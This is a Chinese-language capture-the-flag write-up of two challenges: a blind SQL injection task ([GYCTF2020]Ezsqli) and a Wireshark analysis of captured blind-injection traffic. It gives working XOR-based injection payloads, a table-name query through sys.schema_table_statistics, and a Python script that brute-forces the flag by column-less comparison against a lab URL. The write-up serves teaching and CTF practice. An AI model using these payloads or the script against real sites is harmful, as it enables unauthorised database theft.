[GYCTF2020]Ezsqli
这道题输入几个数字之后,我就感觉就是要用盲注暴力破解。所以就看看报错的内容是什么,进行异或注入即可。
输入1的时候显示
输入2的时侯显示
输到三的时候
Error Occured When Fetch Result.
输到十的时候
Error Occured When Fetch Result.
随便输入字符
bool(false)
嘿嘿,基本确定是要跑脚本暴力破解。
先做fuzz测试,看看过滤掉哪些关键词
handler INFORMATION,还有很多…
1.开始还是爆库名,其实这一步我觉得可以省略。(tips:建议大家爆出的库名或则什么的还是复制下来比较好,省的l和1无法区分) 用二分法进行爆破。
主要的查询语句就是这一句,使用异或的一个方法。
sql_payload="1^(ascii(substr(database(),{},1))>{})^1".format(i,mid)
2.爆表名
f1ag_1s_h3r3_hhhhh
sql_payload="1^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),{},1))>{})^1".format(i,mid)
3.采用无列名注入,在我们进行sql注入的时候,因为information_schema这个库可能会因为过滤而无法调用,这时我们就不能通过这个库来查出表名和列名。表名我们可以替换查询,但是列名我们就只能使用别的方法进行判断
def trans(flag):
res = ''
for i in flag:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res
def sql_buuwulieming():
import requests
url = 'http://9cac3045-24a8-48e1-aed4-49e0e899c082.node4.buuoj.cn/index.php'
flag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完
hexchar = ''
for char in range(32, 128):
hexchar = trans(flag+ chr(char))
payload = '1^((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))^1'.format(hexchar)
data = {
'id':payload
}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break
sql_buuwulieming()
这里我们使用一个一个字母进行与放在f1ag_1s_h3r3_hhhhh中的flag进行比对,我们比较字符串的时候只能只能是比较字符串开头的第一个字母所以,这里我们就需要挨个遍历所有可能的字符,如果语句正确就把这个字符加上,最后拼接成一个完整的flag,这里需要用十六进制比较的原因是sql语句中不区分大小写,容易造成误判。并且char-1的目的是,当字符相同时,我们所需要的字符时相同时的前一个。
sqltest
这道题就有意思了,需要我们使用wireshark进行流量分析,之前也是一直在学习 wireshark,但一直没用上,让我们来看看这道题吧!
下载提供的文件之后,使用wireshark打开,然后发现这个是一个sql注入的流量截取,既然如此我们就分析一下SQL注入的一些过程和步骤。
根据题目意思,有完整的信息,那我们就先将注入的请求包进行过滤即只看HTTP包。
再点击HTTP包即可。
然后就给我们呈现出了一次完整的注入过程,通过注入语句我们可以判断这是一次SQL盲注,而且还是完整的盲注。那问题就比较简单了,直接拉到后面看看爆flag的流量即可。
根据返回的数据包和右边的字符ASCII值得变化我们可以得到,flag的第一个字符得ASCII是108,然后再往后看第二个是108,第三97,第四103,第五123…
这就需要我们一个一个记下来,然后跑脚本。
'''
102
108
97
103
123
52
55
101
100
98
56
51
48
48
101
100
53
102
57
98
50
56
102
99
53
52
98
48
100
48
57
101
99
100
101
102
55
125
'''
f = open('F:\\mima.txt','r').readlines()
print(f)
for i in f:
print(chr(int(i)),end="")
拿到flag